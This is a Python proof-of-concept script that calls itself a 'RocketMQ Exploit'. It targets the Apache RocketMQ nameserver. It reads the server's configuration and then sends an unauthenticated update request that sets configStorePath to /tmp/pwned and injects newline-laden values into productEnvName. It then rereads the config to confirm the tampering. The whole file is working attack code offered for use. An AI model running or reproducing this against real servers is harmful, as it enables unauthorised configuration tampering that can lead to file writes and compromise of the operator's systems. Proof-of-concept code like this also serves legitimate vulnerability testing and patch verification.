import sys
import argparse
import socket
import binascii

def exploit(address, port):
    try:
        client_socket = socket.socket()
        client_socket.settimeout(5)  # Set socket timeout to 5 seconds
        client_socket.connect((address, port))

        # common/src/main/java/org/apache/rocketmq/common/protocol/RequestCode.java
        # public static final int UPDATE_NAMESRV_CONFIG = 318;
        header = '{"code":318,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":405}'.encode('utf-8')
        body = 'configStorePath=/tmp/pwned\nproductEnvName=test/path\\ntest\\ntest'.encode('utf-8')

        header_length = int(len(binascii.hexlify(header).decode('utf-8')) / 2)
        header_length_hex = '00000000' + str(hex(header_length))[2:]
        total_length = int(4 + len(binascii.hexlify(body).decode('utf-8')) / 2 + header_length)
        total_length_hex = '00000000' + str(hex(total_length))[2:]
        data = total_length_hex[-8:] + header_length_hex[-8:] + binascii.hexlify(header).decode('utf-8') + binascii.hexlify(body).decode('utf-8')

        client_socket.send(bytes.fromhex(data))
        data_received = client_socket.recv(1024)
        print(data_received)

        client_socket.close()
    except socket.timeout:
        print(f"Connection to {address}:{port} timed out")

def get_namesrv_config(address, port):
    try:
        client_socket = socket.socket()
        client_socket.settimeout(5)  # Set socket timeout to 5 seconds
        client_socket.connect((address, port))

        # common/src/main/java/org/apache/rocketmq/common/protocol/RequestCode.java
        # public static final int GET_NAMESRV_CONFIG = 319;
        header = '{"code":319,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":405}'.encode('utf-8')

        header_length = int(len(binascii.hexlify(header).decode('utf-8')) / 2)
        header_length_hex = '00000000' + str(hex(header_length))[2:]
        total_length = int(4 + header_length)
        total_length_hex = '00000000' + str(hex(total_length))[2:]
        data = total_length_hex[-8:] + header_length_hex[-8:] + binascii.hexlify(header).decode('utf-8')

        client_socket.send(bytes.fromhex(data))
        data_received = client_socket.recv(1024)
        print(data_received)

        client_socket.close()
    except socket.timeout:
        print(f"Connection to {address}:{port} timed out")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='RocketMQ Exploit')
    parser.add_argument('-ip', default='127.0.0.1', help='Nameserver address')
    parser.add_argument('-p', default=9876, type=int, help='Nameserver listen port')

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)

    args = parser.parse_args()

    print('current nameserver config:')
    get_namesrv_config(args.ip, args.p)
    exploit(args.ip, args.p)
    print('modified nameserver config:')
    get_namesrv_config(args.ip, args.p)